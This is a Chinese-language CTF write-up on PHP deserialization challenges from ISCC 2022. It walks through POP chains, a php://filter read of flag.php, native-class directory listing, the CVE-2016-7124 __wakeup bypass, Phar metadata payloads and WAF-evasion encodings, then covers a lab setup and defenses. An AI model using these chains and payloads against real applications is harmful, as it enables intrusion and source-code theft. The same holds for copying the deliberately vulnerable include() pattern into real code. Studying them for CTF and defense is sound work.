ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析
ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析
在网络安全领域,PHP 反序列化漏洞因其高危害性和广泛存在性,一直是 CTF 比赛和实际渗透测试中的重点考察对象。本文将深入剖析 ISCC 2022 比赛中出现的 5 类典型 PHP 反序列化漏洞,并分享 3 种实用的 WAF 绕过技巧,帮助安全研究人员构建完整的漏洞利用思维框架。
1. PHP 反序列化漏洞核心原理
PHP 反序列化漏洞的本质在于:当不可信数据被传递给unserialize()函数时,攻击者通过精心构造的序列化字符串,触发对象中的魔术方法执行恶意操作。以下为关键魔术方法及其触发场景:
| 魔术方法 | 触发时机 | 典型危险操作 |
|---|---|---|
__wakeup() | 对象反序列化时 | 文件包含、命令执行 |
__destruct() | 对象销毁时 | 文件删除、写日志 |
__toString() | 对象被当作字符串处理时 | SQL 注入、XSS |
__call() | 调用不可访问方法时 | 动态函数执行 |
__get() | 读取不可访问属性时 | 敏感信息泄露 |
漏洞产生的根本条件:
- 存在
unserialize()函数且参数可控 - 类中定义了危险魔术方法
- 存在可串联的类方法调用链(POP Chain)
// 典型漏洞代码示例 class VulnerableClass { public $file; function __wakeup() { include($this->file); // 文件包含漏洞 } } $data = unserialize($_GET['data']);2. 5 类实战漏洞案例分析
2.1 文件包含利用链(Pop2022)
漏洞链构造:
Road_is_Long::__wakeup() → Road_is_Long::__toString() → Make_a_Change::__get() → Try_Work_Hard::__invoke() → include()关键代码片段:
class Try_Work_Hard { protected $var = 'flag.php'; function __invoke() { $this->append($this->var); // 触发文件包含 } } class Make_a_Change { public $effort; function __get($key) { $function = $this->effort; return $function(); // 调用__invoke } }利用步骤:
- 构造
Try_Work_Hard实例作为Make_a_Change的$effort属性 - 通过
Road_is_Long的__toString触发属性访问 - 使用
php://filter包装器读取源码:$var = "php://filter/read=convert.base64-encode/resource=flag.php"
2.2 原生类利用(Findme)
PHP 内置类DirectoryIterator和GlobIterator可被用于目录遍历:
class Exploit { public $un0 = 'DirectoryIterator'; public $un1 = 'glob://f*'; } $exp = serialize(new Exploit()); // 输出当前目录下f开头的文件注意:当禁用危险函数时,原生类往往是突破沙箱的关键
2.3 字符逃逸攻击
当序列化数据经过过滤处理时,可能通过字符替换改变原数据结构:
原始数据:s:3:"abc";s:5:"12345"; 过滤规则:将"abc"替换为"abcd" 结果:s:4:"abcd";s:5:"12345";} // 结构被破坏利用方法:
- 计算替换前后的长度差异
- 精心构造填充字符串
- 逃逸出原有数据结构注入新对象
2.4 属性数量绕过(CVE-2016-7124)
当序列化字符串中对象属性数量大于实际数量时,可绕过__wakeup()执行:
O:4:"User":2:{s:4:"name";s:4:"test";} // 正常 O:4:"User":3:{s:4:"name";s:4:"test";} // 触发绕过2.5 Phar 反序列化
通过上传恶意 Phar 文件触发反序列化:
// 生成恶意Phar $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($exploitObject); // 插入恶意对象 $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); // 触发方式(无需unserialize) file_exists("phar://exp.phar");3. WAF 绕过三大技巧
3.1 编码混淆技术
| 编码类型 | 示例 | 适用场景 |
|---|---|---|
| Base64 | Tzo0OiJVc2VyIjoxO... | 过滤引号时 |
| Hex | 4f3a343a225573657222... | 关键字检测 |
| URL 编码 | %4f%3a%34%3a%22%55... | 传输过程编码 |
| UTF-16 | \u004f\u003a\u0034... | 绕过正则检测 |
3.2 非常规 POP 链构造
通过非典型魔术方法构建利用链:
__sleep() → __toString() → __callStatic()特殊场景利用:
class X { function __call($a, $b) { call_user_func($this->fn, $b); } } class Y { function __toString() { return $this->x->bypass(); } }3.3 反序列化上下文逃逸
当直接反序列化不可行时,尝试以下途径:
- 通过
phar://协议触发 - 利用
session_start()的序列化处理器 - 数据库读取操作中的反序列化
4. 漏洞环境搭建与复现
4.1 Docker 环境配置
FROM php:7.4-apache RUN apt-get update && apt-get install -y \ libzip-dev \ && docker-php-ext-install zip COPY src/ /var/www/html/ EXPOSE 804.2 漏洞验证脚本
// 自动化漏洞检测 function check_unserialize($url) { $payloads = [ 'O:8:"stdClass":0:{}', 'a:1:{i:0;i:1;}' ]; foreach ($payloads as $p) { $res = file_get_contents($url.'?data='.urlencode($p)); if (strpos($res, 'Warning') !== false) { return true; } } return false; }5. 防御方案设计
多层次防护策略:
输入处理层
- 使用
json_decode()替代unserialize() - 实施白名单校验:
$allowed = ['SafeClassA', 'SafeClassB']; if (!in_array($className, $allowed)) { throw new Exception("Class not allowed"); }
- 使用
运行时防护
- 设置
unserialize_callback_func:unserialize_callback_func = "unserialize_check" - 使用 PHP 7 的
allowed_classes选项:unserialize($data, ['allowed_classes' => false]);
- 设置
架构设计层
- 实现签名验证机制
- 采用沙箱环境执行反序列化
在真实项目中发现,通过组合使用这些防御措施,能有效阻断 90% 以上的反序列化攻击向量。